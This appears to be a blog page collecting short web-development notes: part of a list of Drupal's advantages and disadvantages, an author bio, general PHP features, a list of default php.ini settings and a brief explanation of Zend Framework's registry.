4. Development Support by Drupal community. This is a biggest facility from Drupal community for a newcomer. You can found thousands of professionals and amateurs for your help in development and implementation of Drupal free of cost. If you have any problem you can just simple send your query and get your answer of your questions quickly and free.
5. Drupal is an Open Source Project and it is built by many people in the community and it also built on two additional Open Source Software SQL and Php.
Disadvantages of Drupal – Open Source Content Management System
1. Drupal require a greater technical and knowledge requirement to implement and control it if we compare it with other Content Management Systems.
2. You need certain permissions of server to install Drupal and also need MySQL and Php language supported and enabled server.
3. If it is your first time to install Drupal you need technical help and support, otherwise it will be very difficult or may be impossible for you to install Drupal.
4. Although you don’t need to know CSS and HTML to develop website in Drupal but if you want to make a full flowered web site, you need all programming expertise of HTML and CSS.
5. Drupal does run very popular sites but if your page views are in millions and your websites have some very critical life saving data on it which need to change very frequently than Drupal is not right choice.
6. Drupal is basically a solution for small and medium traffic based websites.
7. Like other heavy code CMS, Drupal have not a control panel with graphical interface, so a little difficult for new user.
8. Customization of Drupal required an expert user and developer.
[ad#in article ad 300x350]
About Author:
Syed Noman Aftab (BCS, MCS, MMS, CCFE, Server + Certified, CCT, A+ Certified) enter in the field of computer sciences in 1988 when he was just 9 years old. Now a day he is leading developer and co-founder of an Organization name Oi2 (Organization for internet and innovation) www.oi2.org. He has worked the computer sciences field from multimedia expert to forensic expert. He always fond of challenging jobs in his career. Critical data recoveries are his favorite job and always success full to found and dig out electronic evidence.
General Terms
1.PHP-GTK is an extension to PHP,Writing desktop applications
2.PHP can work as a CGI processor
3.We also have a database abstraction extension (named PDO) allowing you to transparently use any database supported by that extension
4.PHP also can support for talking to other services using protocols such as LDAP, IMAP, SNMP, NNTP, POP3, HTTP, COM (on Windows) and countless others
 LDAP-Lightweight Directory Access Protocol

PHP INI Default Variables
safe_mode = Off
safe_mode_gid = Off
safe_mode_include_dir =
safe_mode_exec_dir =
safe_mode_allowed_env_vars = PHP_
expose_php = Off
error_reporting  =  E_ALL
display_errors = Off
display_startup_errors = Off
log_errors = On
log_errors_max_len = 1024
ignore_repeated_errors = Off
ignore_repeated_errors = Off
ignore_repeated_source = Off
report_memleaks = On
register_globals = Off
register_long_arrays = Off
register_argc_argv = Off
auto_globals_jit = On
magic_quotes_gpc = Off
magic_quotes_runtime = Off
magic_quotes_sybase = Off
auto_prepend_file =
auto_append_file =
default_mimetype = "text/html"
allow_url_fopen = On
allow_url_include = Off
sql.safe_mode = Off
ZEND Registry
A registry is a container for storing objects and values in the application space. By storing the value in a registry, the same object is always available throughout your application. This mechanism is an alternative to using global storage.
The typical method to use registries with Zend Framework is through static methods in the Zend_Registry class. Alternatively, the registry can be used as an array object, so you can access elements stored within it with a convenient array-like interface.









1 comment: